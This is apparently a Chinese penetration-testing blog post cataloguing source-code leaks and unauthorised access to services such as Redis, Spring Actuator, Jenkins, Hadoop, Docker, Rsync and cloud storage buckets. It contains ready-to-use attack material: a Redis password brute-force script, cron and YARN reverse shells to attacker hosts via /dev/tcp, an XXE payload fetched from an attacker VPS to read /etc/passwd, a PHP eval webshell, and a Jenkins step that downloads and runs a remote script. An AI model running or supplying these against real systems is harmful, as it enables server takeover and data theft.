• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

敏感信息泄露

武飞扬头像
goddemon
帮助1

前言:一直觉得信息泄露相关的问题蛮多的,也一直想做一个总结,再一次查漏补缺的时候 恰好看到了一篇文章关于这个的 但是只有一张思维导图 而且也不全 就跟着把常见的信息泄露做了一个总结

一.源代码泄露

学新通

二.服务器导致的泄露

Apache类泄露
样例文件泄露

/examples/servlets/servlet/CookieExample
/examples/servlets/servlet/RequestHeadersExample
/examples/jsp/snp/snoop.jsp
/examples/async/async1

IIS泄露
典型iis短文件名
https://github.com/lijiejie/IIS_shortname_Scanner

Tomcat泄露
tomcat后缀改为大写,会显示源码,只要把jsp文件后缀名改为大写即可

三.组件未经授权访问

学新通

1.Druid未授权访问

常见的页面泄露

html:
ip/druid/index.html 		 	##Druid Index
ip/druid/sql.html				##Druid sql监控页面
ip/druid/weburi.html			##Druid Web URI监控页面
ip/druid/websession.html		##Druid Web Session监控页面

json:
ip/druid/weburi.json			##Druid Web URI json
ip/druid/websession.json		##Druid Web Session json

Druid 登录接口:
ip/druid/login.html				##Druid登录认证页面

谷歌 hacking语法:
intitle:Druid Stat Index
学新通

进一步利用如果有的时候session存在可以进行session获取伪造

2.redis未授权访问或者弱口令情况
漏洞原因:
这个也是经常用ssrf打内网的原因

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

批量判断方法:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if ' OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)
学新通

利用方法:
登录redis
redis-cli -h 192.168.0.104(ip)
学新通
2.1 利用redis写webshell
学新通

2.2 利用"公私钥"认证获取root权限
前提:redis是以root身份运行

mkdir /root/.ssh
config set dir /root/.ssh       
config set dbfilename authorized_keys
set xxx "\n\n\n本地公钥信息\n\n\n"         #"本地公钥信息"替换为自己的公钥信息
save   

学新通

2.3 crontlab反弹shell
1).攻击者服务器上启动一个监听端口
nc -lvnp 4444

2.)进行写
连接redis,写入反弹shell

redis-cli -h 192.168.0.104 -p 端口
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

config set dir /var/spool/cron
config set dbfilename root
save

2.4redis主从复制rce
原理:
Redis实例设置主从模式的时候,Redis的主机实例就可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,进而进行执行拓展的新命令

两个脚本
1).https://github.com/n0b0dyCN/redis-rogue-server
学新通
2).https://github.com/Ridter/redis-rce
学新通

3.MongoDB未授权访问
概念:MongoDB是一个基于分布式文件存储的数据库,且默认端口
产生原因:
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库
漏洞利用:
ip:端口(访问即可,默认是27017)

工具:
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe

4.javaMelody
特征:
学新通
页面:/monitoring

5.swagger扫描
常见的页面

/swagger-ui.html
/swagger/swagger-ui.html
/api/swagger-ui.html
/v1.x/swagger-ui.html
/swagger/index.html
swagger-ui.html#/api-memory-controller
/swagger/ui/
swagger-ui

swagger扫描工具
学新通

6.kibana未授权访问
介绍:可以用kibana搜索、查看存放在Elasticsearch中的数据。默认端口是5601。
fofa:/app/kibana
利用方法:
http://<target_IP>:5601/app/kibana#/
学新通7.spring cloud
Springboot之actuator配置不当的漏洞利用

Http 方法 路径 描述
get /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
get /configprops 描述配置属性(包含默认值)如何注入 Bean
get /beans 描述应用程序上下文里全部的 Bean,以及它们的关系
get /dump 获取线程活动的快照
get /env 获取全部环境属性
get /env/{name} 根据名称获取特定的环境属性值
get /health 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
get /info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
get /mappings 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系
get /metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
get /metrics/{name} 报告指定名称的应用程序度量值
post /shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)
get /trace 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)

sprigboot判断方法:
①根据title去确定
学新通
②根据404页面返回去进行判断
学新通

路径漏洞利用:


/jolokia/list#并且返回的json中有“reloadByURL”,关于路径问题:1.x版本的在根路径下注册路由

/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过

/beans 描述应用程序上下文里全部的Bean,以及它们的关系

/env 获取全部环境属性,数据库账户密码泄露,可获取mysql,managodb数据库的用户名和密码

/configprops 描述配置属性(包含默认值)如何注入Bean

/dump 获取线程活动的快照

/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供,git项目地址泄露,可获取git项目的地址

/info 获取应用程序的定制信息,这些信息由info打头的属性提供

/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系

/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数

/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true

/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)获取用户认证字段信息,,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段

/heapdump 路径 #泄露站点内存信息,很多时候会包含用户的账户和密码
学新通

进阶利用
Jolokia利用和env进阶利用思路
利用/jolokia/exec结合起来进行利用
1.xxe
vps的文件

1.fire.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps-ip/fire.dtd">%remote;%int;]>
<a>&trick;</a>

2.fire.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

客户端打payload

target-ip/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip!/fire.xml

8.Elasticsearch未授权访问
漏洞原因:
Elasticsearch是用Java开发的企业级搜索引擎,默认端口9200,存在未授权访问漏洞时,可被非法操作数据

接口:

/_nodes #查看节点数据
/_cat/indices #索引
_cat/indices
/_plugin/head
/_nodes/
/_status
/_search?pretty

9.Jenkis未授权访问
概念:是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
定位:
学新通
漏洞地址(未经授权访问的):
http://192.168.254.151:8080/manage
http://192.168.254.151:8080/script

典型命令

查询当前用户
println "whoami".execute().text
查看ip配置信息
println "ifconfig -a".execute().text

复现方法:
访问manage页面后点击脚本命令行

写shell
new File(“D:\phpstudy_pro\WWW\ma.php”).write(’<?php @eval($_POST[cmd]);?>’);

利用wget命令远程下载shell

println “wget http://xxx.secpulse.com/tools/back.py -P /tmp/”.execute().text
println “python /tmp/back.py 10.1.1.111 8080”.execute().text
back.py并不需要root权限

poc进行利用漏洞

10.JBoss未授权访问

概念:JBoss是一个基于J2EE的开放源代码的应用服务器。( 个人更加喜欢理解为组件服务器)

漏洞原因:
JBoss默认访问jmx-console页面不需要输入密码,或者默认密码admin/admin

部署马方法
两个思路部署马

批量脚本:
https://github.com/joaomatosf/jexboss

11.Hadoop
概念:是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

定位:
学新通

利用payload:

反弹shell结合shell脚本即可
#!/usr/bin/env python
 
import requests
 
target = 'http://192.168.92.131:8088/'
lhost = '192.168.10.136' # put your localhost ip here, and listen at port 9999
 
url = target  'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target   'ws/v1/cluster/apps'
data = {
   'application-id': app_id,
   'application-name': 'get-shell',
   'am-container-spec': {
       'commands': {
           'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' %lhost,
       },
   },
   'application-type': 'YARN',
}
requests.post(url, json=data)
学新通

12.VNC未授权访问
概念:VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。
VNC 默认端口号为 5900、5901。

利用方法:

12.1)
安装工具
VNC-Viewer-5.2.0-Windows-32bit.msi
客户端安装包下载链接:
https://pan.百度.com/s/1phgU95Kfo4W1VboNIB6Mqg 提取码:htq9
安装过程,双击msi文件一路下一步就可以了。

12.2)进行连接
在 VNC 客户端输入目标服务器IP,之后点击确定、连接,即可成功控制目标服务器

学新通
学新通

修复方法:给vnc配置密码

13.docker未授权访问

漏洞原因:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

标识页面:
①页面显示这个

学新通
②查看目标基本信息
:2379/version
:2379/info
学新通
漏洞利用:

#1.新运行

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

#2、在容器内执行命令,将反弹shell的脚本写入到
/var/spool/cron/root echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

自己vps主机配置
学新通

14.Zookeper未授权访问
概念:ZooKeeper是一个分布式的、开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。

漏洞原因:
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
漏洞复现:echo envi|nc 192.168.15.74 2181
学新通

15.Rsync未授权访问
概念:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。
漏洞原理:开启了rsync服务但是没设置配置密码,因此攻击者可以读写该服务

漏洞检测:

nmap检测
nmap -p 873 --script rsync-list-modules 192.168.193.128

漏洞复现:

连接后进行执行的常见命令
①查看模块列表
rsync rsync://your-ip:873/

②列出模块下文件
rsync rsync://your-ip:873/src/

③下载文件
rsync -av rsync://your-ip:873/src/etc/passwd

④上传文件
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell

16.Active MQ 未授权访问

概念:是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。

端口:8161
默认账户密码:admin/admin

页面定位:
学新通

17.Dubbo 未授权访问
概念:是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

检测方法:
连接接入方法
telent IP port

18.Jupyter Notebook 未授权访问
概念:基于网页的用于交互计算的应用程序。其可被应用于全过程计算:开发、文档编写、运行代码和展示结果
定位:
学新通
漏洞复现:
选择 new -> terminal 即可创建一个控制台即可执行命令
学新通
学新通
19.Kubernetes Api Server 未授权
概念:k8s API Server提供了k8s各类资源对象(pod,RC,Service等)的增删改查及watch等HTTP Rest接口,是整个系统的数据总线和数据中心。

常见路径:

/pods
获取环境变量、运行的容器信息、命名空间等信息。
/ui
获取api的仪表盘
/
直接获取api接口的

定位:
学新通
20.Ldap未授权访问
概念:LDAP中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。

检测方法:
ldapbrowser软件
https://ldapbrowserwindows.com/

软件直接连接,获取目录内容。

21.Memcached 未授权访问
概念:一套分布式的高速缓存系统,由LiveJournal的Brad Fitzpatrick开发,但被许多网站使用。

检测利用方法:

①直接连接即可
telnet 10.10.4.89 11211
或者
nc -vv 11211

②命令利用(列出服务)
stats

22.NFS未授权访问
概念:Network File System(NFS),是由SUN公司研制的UNIX表示层协议(pressentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。

利用方法:直接连接即可

23.RabbitMQ 未授权访问
概念:一款消息中间件,基于AMQP协议的,可以在发布者和使用者之间交换异步消息。消息可以是人类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。

定位:学新通

默认密码:admin/admin

24.sorl未经授权访问

概念:Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。solr未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,甚至getshell。

漏洞路径:/sorl/admin

漏洞定位页面:
学新通
25.Spark 未授权访问
概念:Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。
定位:
学新通getshell方法:

msf里面的模块
use exploit/linux/http/spark_unauth_rce

26.weblogic未授权访问
漏洞原理:
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令

执行命令:
①直接到后台
http://192.168.126.130:7001/console/css/%2e%2e%2fconsole.portal
②在console里面进行执行代码

27.Zabbix 未授权访问
概念:
zabbix是一款服务器监控软件,默认服务开放端口为10051,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。

漏洞定位:
学新通

28.CouchDB 未授权访问
CouchDB 未授权访问

概念:是一个开源数据库,默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能

漏洞页面:

①直接访问
②_config页面(可以获取到配置页面)
/_config

四.其他信息泄露

云存储安全

给我自己的理解 其实就三种问题
①泄露问题
②更改问题
③子域名接管问题
学新通

学新通
1.一般的四种显示页面(跟域名没啥关系 主要是code字段回显)
1.1)
无存储桶时
InvalidBucketName:表示存储桶的名称不符合规范,属于无效的存储桶名称。学新通
NoSuchBucket:表示没有这个存储桶。(这个也是用来判断子域名是否可以被接管的方法)

学新通
1.2)
存储存在时
一种是完全回显
学新通
一种是回显没有权限
学新通
2.策略泄露的利用
学新通
3.3具体案例
具体的攻击方法

4.常见六个云存储平台密钥特征定位
4.1)阿里云

连接工具:
https://help.aliyun.com/document_detail/209974.html
学新通
密钥特征:
accessKeyId:
accessKeySecret:

4.2)华为云

bucket连接
https://console.huaweicloud.com/console/?region=af-south-1#/obs/manager/buckets

密钥确定特征方法:
学新通

4.3)谷歌云
密钥定位特点:
学新通

4.4)微软云
谷歌语法:
allintext:accountkey blob filetype:config
学新通
密钥特征:学新通

4.5)腾讯云
特征定位:
学新通

4.6)AWS S3
特征定位:
学新通

日常更新在公众号:goddemon的小屋

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhghahgg
系列文章
更多 icon
同类精品
更多 icon
继续加载